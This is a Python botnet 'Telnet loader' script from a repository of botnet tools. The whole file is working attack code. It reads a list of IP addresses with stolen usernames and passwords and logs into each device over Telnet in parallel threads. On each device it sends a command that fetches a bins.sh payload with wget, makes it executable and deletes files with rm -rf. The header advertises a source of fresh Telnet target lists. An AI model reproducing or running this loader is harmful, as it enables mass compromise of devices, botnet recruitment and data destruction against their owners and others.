Path: blob/master/Botnets/Scanning/TELNET/PY LOADER/loader.py
5038 views
#!/usr/bin/python1# Simple Telnet Loader Modified by Deeznuts?2# You Can Find Fresh TELNET List To Load @ http://godz56.tk/telnet-list/3# Modified with more tweaks.45import sys, re, os, socket, time6from threading import Thread78if len(sys.argv) < 2:9sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")1011cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; rm -rf *" #command to send12info = open(str(sys.argv[1]),'a+')1314def sqwad(ip,username,password):15ip = str(ip).rstrip("\n")16username = username.rstrip("\n")17password = password.rstrip("\n")18try:19tn = socket.socket()20tn.settimeout(5)21tn.connect((ip,23))22except Exception:23print "\033[32m[\033[31m+\033[32m] \033[31mFailed To Connect!\033[37m %s"%(ip)24tn.close()25try:26hoho = ''27hoho += readUntil(tn, "ogin")28if "ogin" in hoho:29tn.send(username + "\n")30print "\033[32m[\033[31m+\033[32m] \033[35mSending Username!\033[37m %s"%(ip)31time.sleep(0.09)32else:33pass34except Exception:35tn.close()36try:37hoho = ''38hoho += readUntil(tn, "assword:")39if "assword" in hoho:40tn.send(password + "\n")41print "\033[32m[\033[33m+\033[32m] \033[36mSending Password!\033[37m %s"%(ip)42time.sleep(2)43else:44pass45except Exception:46tn.close()47try:48tn.send("sh" + "\n")49time.sleep(0.05)50tn.send(cmd + "\n")51print "\033[32m[\033[31m+\033[32m] \033[32mCommand Sent!\033[37m %s"%(ip) #False possitives because thats what yall wanted lmao52time.sleep(15)53tn.close()54except Exception:55tn.close()5657def readUntil(tn, string, timeout=8):58buf = ''59start_time = time.time()60while time.time() - start_time < timeout:61buf += tn.recv(1024)62time.sleep(0.01)63if string in buf: return buf64raise Exception('TIMEOUT!')6566for x in info:67try:68if ":23 " in x:69x = x.replace(":23 ", ":")70xinfo = x.split(":")71session = Thread(target=sqwad, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))72session.start()73ip=xinfo[0]74username=xinfo[1]75password=xinfo[2]76time.sleep(0.01)77except:78pass7980